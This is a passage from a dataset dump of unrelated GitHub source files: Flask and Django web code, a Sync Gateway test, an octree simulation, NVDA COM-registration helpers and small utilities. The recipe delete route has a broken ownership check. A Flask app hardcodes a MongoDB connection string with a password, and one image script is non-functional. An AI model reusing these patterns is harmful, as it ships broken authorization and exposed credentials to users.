Recipe.create(data)\n\n # Manejando exepciones\n if recipe:\n flash(\"Receta creada con exito\", \"success\")\n else:\n flash(\"Ha ocurrido algun error\", \"danger\")\n\n return redirect(url_for('recipes'))\n\n# Creamos una ruta mostrar recipes\n@app.route('/recipe//')\ndef recipe_show(id):\n \"\"\"\n Funcion de vista mostrar\n \"\"\"\n # Obtenemos la receta que recibimos por id\n data = {\n \"id\": id\n }\n recipe = Recipe.get_one(data)\n \n return render_template(\"recipes/show.html\", recipe=recipe)\n\n\n# Creamos una ruta editar recipes\n@app.route('/recipe/edit//')\ndef recipe_edit(id):\n \"\"\"\n Funcion de vista mostrar\n \"\"\"\n # Obtenemos la receta que recibimos por id\n data = {\n \"id\": id\n }\n recipe = Recipe.get_one(data)\n \n\n return render_template(\"recipes/edit.html\", recipe=recipe)\n\n@app.route('/recipe/edit_proccess//', methods=['POST'])\ndef recipe_edit_proccess(id):\n \"\"\"\n Funcion de vista editar\n \"\"\"\n # Generamos dictionary\n data = {\n \"id\": id,\n \"user_id\": session[\"user\"][\"id\"],\n \"title\": request.form['title'],\n \"description\": request.form['description'],\n \"instruction\": request.form['instruction'],\n \"date\": request.form['date'],\n \"under\": request.form['under'],\n }\n # Primero validamos\n errors = Recipe.validar_recipe(data)\n if len(errors) > 0:\n for error in errors:\n print(error)\n flash(error, 'danger')\n \n\n # Si no hay eror creamos el objeto\n Recipe.update(data)\n flash(\"Receta editada con exito\", \"success\")\n\n\n return redirect(url_for('recipes'))\n\n@app.route('/recipe/delete/')\ndef recipe_delete(id):\n \"\"\"\n Funcion de viata para eliminar receta\n \"\"\"\n \n data = {\n \"id\": id\n }\n recipes = Recipe.get_recipe_whit_user()\n for recipe in recipes:\n # Solo el usuario que creó la receta puede eliminarla\n if session[\"user\"][\"id\"] == recipe[\"user_id\"]:\n flash(\"La receta fue eliminada\", \"success\")\n Recipe.delete(data)\n return redirect(url_for(\"recipes\"))\n \n flash(\"No tienes permiso para eliminar la receta\", \"danger\")\n\n return redirect(url_for('recipes'))\n","repo_name":"Fredy452/202306_flask_mysql","sub_path":"Core/Recipes/app/controllers/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23982700819","text":"import pandas as pd\nimport numpy as np\nfrom data_preprocessing import data_preprocess\n\ndef feature_engineering():\n\n data = data_preprocess()\n # print(data)\n count_0, count_1 = data['MOG_A'].value_counts()\n class_0 = data[data['MOG_A'] == 0]\n class_1 = data[data['MOG_A'] == 1]\n Target_1_over = class_1.sample(count_0,replace=True)\n # print(Target_1_over)\n dataset_balanced = pd.concat([Target_1_over,class_0], axis=0)\n # print(dataset_balanced)\n\n data = dataset_balanced.copy()\n data.to_csv(\"transformer_fault_prediction.csv\", index = False)\n return data\n\nfeature_engineering()","repo_name":"JyothsnaPendyala/Transformer_Failure_Prediction","sub_path":"feature_engineering.py","file_name":"feature_engineering.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15506142295","text":"import time\nimport pytest\n\nfrom libraries.testkit.admin import Admin\nfrom libraries.testkit.cluster import Cluster\nfrom libraries.testkit.verify import verify_changes\nfrom keywords.constants import RBAC_FULL_ADMIN\nfrom requests.auth import HTTPBasicAuth\n\nimport concurrent\nimport concurrent.futures\nimport requests\n\nfrom keywords.utils import log_info\nfrom keywords.SyncGateway import sync_gateway_config_path_for_mode\nfrom utilities.cluster_config_utils import persist_cluster_config_environment_prop, copy_to_temp_conf\n\n\n@pytest.mark.syncgateway\n@pytest.mark.basicauth\n@pytest.mark.channel\n@pytest.mark.bulkops\n@pytest.mark.parametrize(\"sg_conf_name, num_docs, user_channels, filter, limit, x509_cert_auth\", [\n (\"sync_gateway_channel_cache\", 5000, \"*\", True, 50, False),\n pytest.param(\"sync_gateway_channel_cache\", 1000, \"*\", True, 50, True, marks=[pytest.mark.sanity, pytest.mark.oscertify]),\n (\"sync_gateway_channel_cache\", 1000, \"ABC\", False, 50, True),\n (\"sync_gateway_channel_cache\", 1000, \"ABC\", True, 50, False),\n])\ndef test_overloaded_channel_cache(params_from_base_test_setup, sg_conf_name, num_docs, user_channels,\n filter, limit, x509_cert_auth):\n \"\"\"\n The purpose of this test is to verify that channel cache backfill via view queries is working properly.\n It works by doing the following:\n\n - Set channel cache size in Sync Gateway config to a small number, eg, 750. This means that only 750 docs fit in the channel cache\n - Add a large number of docs, eg, 1000.\n - Issue a _changes request that will return all 1000 docs\n\n Expected behavior / Verification:\n\n - Since 1000 docs requested from changes feed, but only 750 docs fit in channel cache, then it will need to do a view query\n to get the remaining 250 changes\n - Verify that the changes feed returns all 1000 expected docs\n - Check the expvar statistics to verify that view queries were made\n \"\"\"\n\n cluster_conf = params_from_base_test_setup[\"cluster_config\"]\n mode = params_from_base_test_setup[\"mode\"]\n cbs_ce_version = params_from_base_test_setup[\"cbs_ce\"]\n sync_gateway_version = params_from_base_test_setup['sync_gateway_version']\n need_sgw_admin_auth = params_from_base_test_setup[\"need_sgw_admin_auth\"]\n\n if mode == \"di\":\n pytest.skip(\"Unsupported feature in distributed index\")\n\n sg_conf = sync_gateway_config_path_for_mode(sg_conf_name, mode)\n\n log_info(\"Running 'test_overloaded_channel_cache'\")\n log_info(\"Using cluster_conf: {}\".format(cluster_conf))\n log_info(\"Using sg_conf: {}\".format(sg_conf))\n log_info(\"Using num_docs: {}\".format(num_docs))\n log_info(\"Using user_channels: {}\".format(user_channels))\n log_info(\"Using filter: {}\".format(filter))\n log_info(\"Using limit: {}\".format(limit))\n\n disable_tls_server = params_from_base_test_setup[\"disable_tls_server\"]\n if x509_cert_auth and disable_tls_server:\n pytest.skip(\"x509 test cannot run tls server disabled\")\n if x509_cert_auth and not cbs_ce_version:\n temp_cluster_config = copy_to_temp_conf(cluster_conf, mode)\n persist_cluster_config_environment_prop(temp_cluster_config, 'x509_certs', True)\n persist_cluster_config_environment_prop(temp_cluster_config, 'server_tls_skip_verify', False)\n cluster_conf = temp_cluster_config\n\n cluster = Cluster(config=cluster_conf)\n cluster.reset(sg_config_path=sg_conf)\n\n target_sg = cluster.sync_gateways[0]\n\n admin = Admin(target_sg)\n sg_db_name = \"db\"\n\n auth = need_sgw_admin_auth and (RBAC_FULL_ADMIN['user'], RBAC_FULL_ADMIN['pwd']) or None\n if auth:\n admin.auth = HTTPBasicAuth(auth[0], auth[1])\n\n users = admin.register_bulk_users(target_sg, sg_db_name, \"user\", 1000, \"password\", [user_channels], num_of_workers=10)\n assert len(users) == 1000\n\n doc_pusher = admin.register_user(target_sg, sg_db_name, \"abc_doc_pusher\", \"password\", [\"ABC\"])\n doc_pusher.add_docs(num_docs)\n\n # Give a few seconds to let changes register\n time.sleep(2)\n\n start = time.time()\n\n # This uses a ProcessPoolExecutor due to https://github.com/couchbaselabs/mobile-testkit/issues/1142\n with concurrent.futures.ProcessPoolExecutor(max_workers=100) as executor:\n\n changes_requests = []\n errors = []\n\n for user in users:\n if filter and limit is not None:\n changes_requests.append(executor.submit(user.get_changes, since=0, limit=limit, filter=\"sync_gateway/bychannel\", channels=[\"ABC\"]))\n elif filter and limit is None:\n changes_requests.append(executor.submit(user.get_changes, filter=\"sync_gateway/bychannel\", channels=[\"ABC\"]))\n elif not filter and limit is not None:\n changes_requests.append(executor.submit(user.get_changes, limit=limit))\n elif not filter and limit is None:\n changes_requests.append(executor.submit(user.get_changes))\n\n for future in concurrent.futures.as_completed(changes_requests):\n changes = future.result()\n if limit is not None:\n assert len(changes[\"results\"]) == 50\n else:\n assert len(changes[\"results\"]) == 5001\n\n # changes feed should all be successful\n log_info(len(errors))\n assert len(errors) == 0\n\n if limit is not None:\n # HACK: Should be less than a minute unless blocking on view calls\n end = time.time()\n time_for_users_to_get_all_changes = end - start\n log_info(\"Time for users to get all changes: {}\".format(time_for_users_to_get_all_changes))\n assert time_for_users_to_get_all_changes < 240, \"Time to get all changes was greater than 2 minutes: {}s\".format(\n time_for_users_to_get_all_changes\n )\n\n # Sanity check that a subset of users have _changes feed intact\n for i in range(10):\n verify_changes(users[i], expected_num_docs=num_docs, expected_num_revisions=0, expected_docs=doc_pusher.cache)\n\n # Get sync_gateway expvars\n if auth:\n resp = requests.get(url=\"http://{}:4985/_expvar\".format(target_sg.ip), auth=HTTPBasicAuth(auth[0], auth[1]))\n else:\n resp = requests.get(url=\"http://{}:4985/_expvar\".format(target_sg.ip))\n resp.raise_for_status()\n resp_obj = resp.json()\n\n # Since Sync Gateway will need to issue view queries to handle _changes requests that don't\n # fit in the channel cache, we expect there to be several view queries\n\n # TODO for SG 2.1, a new parameter has to be queried\n # Ref SG issue #3424\n if sync_gateway_version < \"3.0.0\":\n assert resp_obj[\"syncGateway_changeCache\"][\"view_queries\"] > 0\n else:\n assert resp_obj['syncgateway']['per_db'][sg_db_name]['cache']['view_queries'] > 0\n","repo_name":"couchbaselabs/mobile-testkit","sub_path":"testsuites/syncgateway/functional/tests/test_overloaded_channel_cache.py","file_name":"test_overloaded_channel_cache.py","file_ext":"py","file_size_in_byte":6885,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"41520992409","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^(?P\\d+)/fetchuserdetails/$', views.get_user, name='get_user'),\n url(r'^(?P\\d+)/getDonorCardDetails/$', views.get_donor, name='get_donor'),\n url(r'^(?P\\d+)/getDonations/$', views.get_donations, name='get_donations'),\n url(r'^(?P\\d+)/getRequests/$', views.get_requests, name='get_requests'),\n url(r'^(?P\\d+)/getRequest/$', views.get_request, name='get_request'),\n\n]\n","repo_name":"pankajanand26/blooddonation_bkend","sub_path":"donation_add/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72511945320","text":"from numpy.linalg import norm\nimport numpy as np\nfrom mayavi import mlab\n\nG = 6.67e-11\n\nclass Particle(object):\n def __init__(self, m, p, v):\n '''\n Initializes a point particle with the given mass, position, and velocity\n '''\n self.m = m\n self.p = p\n self.v = v\n\n def __str__(self):\n return \"m = {}, p = {}, v = {}\".format(self.m, self.p, self.v)\n\nclass OctTreeNode:\n def __init__(self, corner, width):\n '''\n Initializes an OctTreeNode that represents a region of space.\n\n corner: one corner (x0, y0, z0) of the region\n width: width of region, i.e. the region contains all (x, y, z) with\n x0 <= x <= x0 + width, etc.\n '''\n self.corner = np.array(corner)\n self.width = np.array(width)\n\n # Number of particles\n self.n = 0\n\n # Sum of particle mass\n self.total_mass = 0\n\n # Center of mass multiplied by sum of particle massadd\n self.mass_weighted_positions = np.zeros(3)\n\n # If the region contains more than 1 particle, then it's recursively\n # subdivided into octants\n self.children = []\n\n def center_of_mass(self):\n if self.total_mass is not 0:\n return self.mass_weighted_positions / self.total_mass\n else:\n return None\n\n def approx_F(self, m, p, theta=0.5):\n '''\n Approximates the gravitational force on a point particle due to this\n region of space.\n\n m: mass of point particle\n p: position of point particle\n theta: we consider smaller regions for a better approximation whenever\n\n width / |p - center_of_mass| >= theta\n '''\n\n # An empty region exerts no gravitational force\n if self.n == 0:\n return np.zeros(3)\n\n delta = self.center_of_mass() - p\n r = norm(delta)\n\n # Particles don't exert force on themselves; we assume that no two\n # particles extremely close to each other\n if r < 1e-9:\n return np.zeros(3)\n\n # We can approximate the region as a single particle located at its\n # center of mass if either:\n # - The region only has a single particle\n # - width / r < theta\n if self.n == 1 or self.width / r < theta:\n return G * self.total_mass * m * delta / r**3\n else:\n total_force = np.zeros(3)\n for child in self.children:\n total_force += child.approx_F(m, p, theta=theta)\n return total_force\n\n def in_region(self, p):\n '''\n Checks whether a point particle at p would be within the region.\n '''\n return all(self.corner <= p) and all(p <= self.corner + self.width)\n\n def add_particle(self, m, p):\n '''\n Attempts to add a particle to the region; ignores particles that would\n be outside the region.\n '''\n if not self.in_region(p):\n return\n\n # \"Leaf\" nodes can have at most one particle, so adding a second\n # particle requires us to subdivide the region first.\n if self.n == 1:\n self.subdivide()\n\n self.n += 1\n self.total_mass += m\n self.mass_weighted_positions += m * p\n\n for child in self.children:\n child.add_particle(m, p)\n\n def subdivide(self):\n '''\n Attempts to subdivide the region into eight octants; does nothing if\n the region is already subdivided.\n '''\n if len(self.children) > 0:\n return\n\n for i in range(8):\n child = OctTreeNode(self.corner, self.width / 2)\n\n # We could manually set the coordinates for each child, but using\n # the binary representation of i lets us do this more easily\n for k in [0, 1, 2]:\n if i & (1 << k):\n child.corner[k] += child.width[k]\n\n # Pass particle information to child; note that for all but one\n # child, this call will be ignored\n child.add_particle(\n self.total_mass,\n self.center_of_mass())\n\n self.children.append(child)\n\n def show(self):\n origin = self.corner\n w= self.width\n mlab.points3d(origin[0:1]+w[0]/2,\n origin[1:2]+w[1]/2,\n origin[2:3]+w[2]/2,\n mode='cube',opacity=.1,scale_factor=w[0])\n\n if len(self.children) >0:\n for child in self.children:\n child.show()\n \n","repo_name":"magnus-haw/wire-simulation","sub_path":"classes/barnes_hut.py","file_name":"barnes_hut.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"14949672661","text":"# A part of NonVisual Desktop Access (NVDA)\r\n# Copyright (C) 2018-2023 NV Access Limited, Luke Davis (Open Source Systems, Ltd.)\r\n# This file is covered by the GNU General Public License.\r\n# See the file COPYING for more details.\r\n\r\n\"\"\"Utilities to re-register particular system COM interfaces needed by NVDA.\r\nRelevant discussions of DLLs, registry keys, and paths, can be found on these issues:\r\nhttps://github.com/nvaccess/nvda/issues/2807#issuecomment-320149243\r\nhttps://github.com/nvaccess/nvda/issues/9039\r\nhttps://github.com/nvaccess/nvda/issues/12560\r\n\"\"\"\r\n\r\nimport os\r\nimport subprocess\r\nimport winVersion\r\nimport globalVars\r\nfrom logHandler import log\r\n\r\nOLEACC_REG_FILE_PATH = os.path.join(globalVars.appDir, \"COMRegistrationFixes\", \"oleaccProxy.reg\")\r\n# Particular 64 bit / 32 bit system paths\r\nSYSTEM_ROOT = os.path.expandvars(\"%SYSTEMROOT%\")\r\nSYSTEM32 = os.path.join(SYSTEM_ROOT, \"System32\")\r\nSYSNATIVE = os.path.join(SYSTEM_ROOT, \"Sysnative\") # Virtual folder for reaching 64-bit exes from 32-bit apps\r\nSYSTEM_DRIVE = os.path.expandvars(\"%SYSTEMDRIVE%\\\\\")\r\nPROGRAM_FILES = os.path.join(SYSTEM_DRIVE, \"Program Files\")\r\nPROGRAM_FILES_X86 = os.path.join(SYSTEM_DRIVE, \"Program Files (x86)\")\r\n\r\n\r\ndef register32bitServer(fileName: str) -> None:\r\n\t\"\"\"Registers the COM proxy dll with the given file name, using the 32-bit version of regsvr32.\r\n\tNote: this function is valid while NVDA remains a 32-bit app. Re-evaluate if we move to 64-bit.\r\n\t@param fileName: the path to the dll\r\n\t@type fileName: str\r\n\t\"\"\"\r\n\t# Points to the 32-bit version, on Windows 32-bit or 64-bit.\r\n\tregsvr32 = os.path.join(SYSTEM32, \"regsvr32.exe\")\r\n\t# Make sure a console window doesn't show when running regsvr32.exe\r\n\tstartupInfo = subprocess.STARTUPINFO()\r\n\tstartupInfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\r\n\tstartupInfo.wShowWindow = subprocess.SW_HIDE\r\n\ttry:\r\n\t\tsubprocess.check_call([regsvr32, \"/s\", fileName], startupinfo=startupInfo)\r\n\texcept subprocess.CalledProcessError as e:\r\n\t\tlog.error(f\"Error registering {fileName} in a 32-bit context: {e}\")\r\n\telse:\r\n\t\tlog.debug(f\"Registered {fileName} in a 32-bit context.\")\r\n\r\n\r\ndef register64bitServer(fileName: str) -> None:\r\n\t\"\"\"Registers the COM proxy dll with the given file name, using the 64-bit version of regsvr64.\r\n\tNote: this function is valid while NVDA remains a 32-bit app. Re-evaluate if we move to 64-bit.\r\n\t@param fileName: the path to the dll\r\n\t@type fileName: str\r\n\t\"\"\"\r\n\t# SysWOW64 provides a virtual directory to allow 32-bit programs to reach 64-bit executables.\r\n\tregsvr32 = os.path.join(SYSNATIVE, \"regsvr32.exe\")\r\n\t# Make sure a console window doesn't show when running regsvr32.exe\r\n\tstartupInfo = subprocess.STARTUPINFO()\r\n\tstartupInfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\r\n\tstartupInfo.wShowWindow = subprocess.SW_HIDE\r\n\ttry:\r\n\t\tsubprocess.check_call([regsvr32, \"/s\", fileName], startupinfo=startupInfo)\r\n\texcept subprocess.CalledProcessError as e:\r\n\t\tlog.error(f\"Error registering {fileName} in a 64-bit context: {e}\")\r\n\telse:\r\n\t\tlog.debug(f\"Registered {fileName} in a 64-bit context.\")\r\n\r\n\r\ndef apply32bitRegistryPatch(fileName: str) -> None:\r\n\t\"\"\"Applies the registry patch with the given file name, using 32-bit regExe.\r\n\tNote: this function is valid while NVDA remains a 32-bit app. Re-evaluate if we move to 64-bit.\r\n\t@param fileName: the path to the .reg file\r\n\t@type fileName: str\r\n\t\"\"\"\r\n\tif not os.path.isfile(fileName):\r\n\t\traise FileNotFoundError(f\"Cannot apply 32-bit registry patch: {fileName} not found.\")\r\n\t# On 32-bit systems, reg.exe is in System32. On 64-bit systems, SysWOW64 will redirect to 32-bit version.\r\n\tregExe = os.path.join(SYSTEM_ROOT, \"System32\", \"reg.exe\")\r\n\t# Make sure a console window doesn't show when running reg.exe\r\n\tstartupInfo = subprocess.STARTUPINFO()\r\n\tstartupInfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\r\n\tstartupInfo.wShowWindow = subprocess.SW_HIDE\r\n\ttry:\r\n\t\tsubprocess.check_call([regExe, \"import\", fileName], startupinfo=startupInfo)\r\n\texcept subprocess.CalledProcessError as e:\r\n\t\tlog.error(f\"Error applying 32-bit registry patch from {fileName} with {regExe}: {e}\")\r\n\telse:\r\n\t\tlog.debug(f\"Applied 32-bit registry patch from {fileName}\")\r\n\r\n\r\ndef apply64bitRegistryPatch(fileName: str) -> None:\r\n\t\"\"\"Applies the registry patch with the given file name, using 64-bit regExe.\r\n\tNote: this function is valid while NVDA remains a 32-bit app. Re-evaluate if we move to 64-bit.\r\n\t@param fileName: the path to the .reg file\r\n\t@type fileName: str\r\n\t\"\"\"\r\n\tif not os.path.isfile(fileName):\r\n\t\traise FileNotFoundError(f\"Cannot apply 64-bit registry patch: {fileName} not found.\")\r\n\t# On 64-bit systems, SysWOW64 provides 32-bit apps with a virtual directory to reach 64-bit executables.\r\n\tregExe = os.path.join(SYSNATIVE, \"reg.exe\")\r\n\t# Make sure a console window doesn't show when running reg.exe\r\n\tstartupInfo = subprocess.STARTUPINFO()\r\n\tstartupInfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\r\n\tstartupInfo.wShowWindow = subprocess.SW_HIDE\r\n\ttry:\r\n\t\tsubprocess.check_call([regExe, \"import\", fileName], startupinfo=startupInfo)\r\n\texcept subprocess.CalledProcessError as e:\r\n\t\tlog.error(f\"Error applying 64-bit registry patch from {fileName} with {regExe}: {e}\")\r\n\telse:\r\n\t\tlog.debug(f\"Applied 64-bit registry patch from {fileName}\")\r\n\r\n\r\ndef fixCOMRegistrations() -> None:\r\n\t\"\"\"Registers most common COM proxies, in case they have accidentally been unregistered or overwritten by\r\n\t3rd party software installs or uninstalls.\r\n\t\"\"\"\r\n\twinVer = winVersion.getWinVer()\r\n\tOSMajorMinor = (winVer.major, winVer.minor)\r\n\tis64bit = winVer.processorArchitecture.endswith(\"64\")\r\n\tlog.debug(\r\n\t\tf\"Fixing COM registrations for Windows {OSMajorMinor[0]}.{OSMajorMinor[1]}, \"\r\n\t\t\"{} bit.\".format(\"64\" if is64bit else \"32\")\r\n\t)\r\n\t# OLEACC (MSAA) proxies\r\n\tapply32bitRegistryPatch(OLEACC_REG_FILE_PATH)\r\n\tif is64bit:\r\n\t\tapply64bitRegistryPatch(OLEACC_REG_FILE_PATH)\r\n\t# IDispatch and other common OLE interfaces\r\n\tregister32bitServer(os.path.join(SYSTEM32, \"oleaut32.dll\"))\r\n\tregister32bitServer(os.path.join(SYSTEM32, \"actxprxy.dll\"))\r\n\tif is64bit:\r\n\t\tregister64bitServer(os.path.join(SYSTEM32, \"oleaut32.dll\"))\r\n\t\tregister64bitServer(os.path.join(SYSTEM32, \"actxprxy.dll\"))\r\n\t# IServiceProvider on windows 7 can become unregistered \r\n\tif OSMajorMinor == (6, 1): # Windows 7\r\n\t\t# There was no \"Program Files (x86)\" in Windows 7 32-bit, so we cover both cases\r\n\t\tregister32bitServer(os.path.join(\r\n\t\t\tPROGRAM_FILES_X86 if is64bit else PROGRAM_FILES,\r\n\t\t\t\"Internet Explorer\", \"ieproxy.dll\"\r\n\t\t))\r\n\t\tif is64bit:\r\n\t\t\tregister64bitServer(os.path.join(PROGRAM_FILES, \"Internet Explorer\", \"ieproxy.dll\"))\r\n","repo_name":"nvaccess/nvda","sub_path":"source/COMRegistrationFixes/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6606,"program_lang":"python","lang":"en","doc_type":"code","stars":1802,"dataset":"github-code","pt":"18"} +{"seq_id":"70182747240","text":"import os\nfrom copy import deepcopy\nfrom typing import Dict, Optional, List\n\nfrom ruamel import yaml\nfrom ruamel.yaml.comments import CommentedMap\n\n\nclass ManifestItem:\n def __init__(self, data: Dict):\n self.data = data\n\n def convert(self) -> Optional[Dict]:\n raise NotImplementedError()\n\n\nclass RootManifest:\n \"\"\"\n Manifest: defaults to the \"vault.yml\" file in\n the current directory.\n \"\"\"\n\n def __init__(self, path: str = None, load: bool = True):\n self.path = os.path.abspath(path) if path else None\n self._backing = CommentedMap()\n\n if load:\n self._load()\n\n self._changes = deepcopy(self._backing)\n\n def _load(self):\n if os.path.exists(self.path):\n with open(self.path, mode=\"r\") as f:\n self._backing.update(yaml.safe_load(f))\n\n def set_header(self, header: str) -> None:\n self._header = header\n\n def create_secrets_backend_section(self) -> None:\n if \"secrets_backends\" not in self._changes:\n self._changes[\"secrets_backends\"] = {}\n self._changes.yaml_set_comment_before_after_key(\n \"secrets_backends\", before=\"Secrets backends. Each key is the mount to a secrets engine.\")\n\n def add_secrets_backend(self, name: str, manifest: ManifestItem) -> None:\n converted = manifest.convert()\n if not converted:\n return\n\n name = name.strip(\"/\")\n new_dict = self._changes[\"secrets_backends\"].get(name, {})\n new_dict.update(converted)\n self._changes[\"secrets_backends\"][name] = new_dict\n\n def delete_secrets_backend(self, name: str) -> None:\n name = name.strip(\"/\")\n\n if \"secrets_backends\" in self._changes and name in self._changes[\"secrets_backends\"]:\n del self._changes[\"secrets_backends\"][name]\n\n def list_secrets_backend_names(self) -> List[str]:\n return [name.strip(\"/\") for name in self._backing.get(\"secrets_backends\", {})]\n\n def create_auth_method_section(self) -> None:\n if \"auth_methods\" not in self._changes:\n self._changes[\"auth_methods\"] = {}\n self._changes.yaml_set_comment_before_after_key(\n \"auth_methods\", before=\"Authentication methods. Each key is the name of the auth method.\")\n\n def add_auth_method(self, name: str, manifest: ManifestItem) -> None:\n converted = manifest.convert()\n if not converted:\n return\n\n if \"auth_methods\" not in self._changes:\n self._changes[\"auth_methods\"] = {}\n\n name = name.strip(\"/\")\n new_dict = self._changes[\"auth_methods\"].get(name, {})\n new_dict.update(converted)\n self._changes[\"auth_methods\"][name] = new_dict\n\n def yaml(self) -> str:\n output = \"\"\n if self._header:\n for line in self._header.split(\"\\n\"):\n output += f\"# {line}\\n\"\n output += \"\\n\"\n\n output += yaml.round_trip_dump(self._changes)\n return output\n\n def save(self) -> None:\n with open(self.path, \"w\") as f:\n f.write(self.yaml())\n","repo_name":"aramperes/vaultup","sub_path":"vaultup/manifests/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"852964377","text":"import os\n\n\nclass TLVAst(object):\n\n def __init__(self, filename, line_offset=0):\n self.Processed = []\n self.Raw = []\n self.Filename = filename\n self.LineOffset = line_offset\n\n\nclass TLVFinding(object):\n ID_DUPLICATE = \"Duplicate\"\n ID_TLV = \"TooLessVariation\"\n\n def __init__(self, first, second, match, _id):\n self.file_this = first.Filename\n self.file_other = second.Filename\n self.file_this_start_line, self.file_this_start_col = self.__get_pos(\n first, match.a)\n self.file_other_start_line, self.file_other_start_col = self.__get_pos(\n second, match.b)\n self.file_this_stop_line, self.file_this_stop_col = self.__get_pos(\n first, match.a + match.size)\n self.file_other_stop_line, self.file_other_stop_col = self.__get_pos(\n second, match.b + match.size)\n self.text_this = TLVFinding.get_text(\n first, match.a, match.a + match.size)\n self.text_other = TLVFinding.get_text(\n second, match.b, match.b + match.size)\n self.id = _id\n\n def Print(self, args):\n print(str(self))\n self.PrintDetails(args)\n\n def PrintDetails(self, args):\n if args.details:\n print(\">>> {snip}\".format(snip=self.text_this.replace(\n os.linesep, os.linesep + \">>> \")))\n print(\"<<<\")\n if self.id == TLVFinding.ID_TLV:\n print(\">>> {snip}\".format(snip=self.text_other.replace(\n os.linesep, os.linesep + \">>> \")))\n print(\"<<<\")\n\n def __eq__(self, other):\n if isinstance(other, TLVFinding):\n return str(other) == str(self)\n else:\n return False\n\n def __ne__(self, other):\n return (not self.__eq__(other))\n\n def __hash__(self):\n return hash(self.__repr__())\n\n def __repr__(self):\n if self.id == TLVFinding.ID_DUPLICATE:\n msg = \"is the same\"\n elif self.id == TLVFinding.ID_TLV:\n msg = \"is nearly the same\"\n if self.file_this != self.file_other:\n path = os.path.relpath(self.file_other, self.file_this)\n else:\n path = \"same file\"\n return \"{}:{}:{}:[{}]:Block till {}:{} {} as in {} from {}:{} till {}:{}\".format(self.file_this, # noqa: P101\n self.file_this_start_line,\n self.file_this_start_col,\n self.id,\n self.file_this_stop_line,\n self.file_this_stop_col,\n msg,\n path,\n self.file_other_start_line,\n self.file_other_start_col,\n self.file_other_stop_line,\n self.file_other_stop_col)\n\n def __get_pos(self, obj, pos):\n _raw = TLVFinding.get_text(obj, 0, pos)\n _line = _raw.count(os.linesep)\n _col = len(_raw.split(os.linesep)[-1])\n return (_line + obj.LineOffset, _col)\n\n @staticmethod\n def get_text(obj, start, stop):\n return \"\".join([x[1] for x in obj.Raw[start:stop]])\n\n @staticmethod\n def Validate(args, first, second, match):\n chunk_a = TLVFinding.get_text(first, match.a, match.a + match.size)\n chunk_b = TLVFinding.get_text(second, match.b, match.b + match.size)\n if chunk_a.count(os.linesep) + 1 >= args.minlines and match.size >= args.mintoken:\n if chunk_a == chunk_b:\n return TLVFinding.ID_DUPLICATE\n else:\n return TLVFinding.ID_TLV\n return None\n","repo_name":"priv-kweihmann/tlv","sub_path":"tlv/cls_ast.py","file_name":"cls_ast.py","file_ext":"py","file_size_in_byte":4349,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"8044822040","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 11 13:57:18 2019\n\n@author: kiera\n\"\"\"\n#find_squares_grid.py\nimport numpy as np\n\n#custom imports\nimport gradients\n\nclass Find_squares_grid(object):\n def scan_y(image, y, n):\n for i in range(n):\n if (image[y,i] > 0):\n return True\n else: return False\n \n def scan_x(image, x, m):\n for i in range(0,m):\n if(image[i,x] > 0):\n return True\n else: return False\n \n def find(image):\n gradient = gradients.grad_mag(image)\n m,n = np.shape(gradient)\n lines = []\n bounds_y = []\n squares = []\n res = []\n value_1 = False\n value_2 = False\n mode = (stats.mode(np.ravel(im))[0])\n \n for i in range(m):\n if (bool(scan_y(gradient, i, n)) ^ bool(value_1)):\n bounds_y.append(i)\n value_1 = scan_y(gradient,i,n)\n \n for i in range(0,len(bounds_y)-1,2):\n lines.append(image[bounds_y[i]:bounds_y[i+1],:])\n \n for line in lines:\n \n y,x = np.shape(line)\n line_grad = grad_mag(line)\n bounds_x = []\n \n for i in range(x):\n if (bool(scan_x(line_grad, i, y)) ^ bool(value_2)):\n bounds_x.append(i)\n value_2 = scan_x(line_grad, i, y)\n \n for i in range(0,len(bounds_x)-1,2):\n square = line[:,bounds_x[i]:bounds_x[i+1]]\n y, x = np.shape(square)\n pad = np.int(abs(np.round((y-x)/2)))\n if (y>x):\n bezel = np.full((y,pad),mode)\n square = np.concatenate([square, bezel], axis=1)\n square = np.concatenate([bezel, square], axis=1)\n if (x>y):\n bezel = np.full((pad,x),mode)\n square = np.concatenate([square, bezel], axis=0)\n square = np.concatenate([bezel, square], axis=0)\n \n squares.append(Gradients.resize_square(square))\n \n return squares","repo_name":"kierangodzella/digit_classifier","sub_path":"find_squares_grid.py","file_name":"find_squares_grid.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2430237737","text":"from flask import Flask, jsonify, request, render_template\nimport pymongo\n\napp = Flask(__name__, template_folder='Templates')\n\nclient = pymongo.MongoClient(\n \"mongodb+srv://ShrijanK:dummyPassword1234@cluster0.wfpuf.mongodb.net/DprogDb?retryWrites=true&w=majority\")\nmyDb = client[\"DprogDb\"]\n\n@app.route('/')\ndef google_pie_chart():\n data = {\"Provinces\": \"Total Cases\"}\n for coll in myDb.list_collection_names():\n inner_dict = myDb[coll].find_one({}, {\"_id\": 0, \"Date\": 0})\n data[coll] = int((inner_dict[\"Total Cases\"].replace(',', ''))) # Returns Total Number of Cases Only\n print(data)\n return render_template('pie-chart.html', 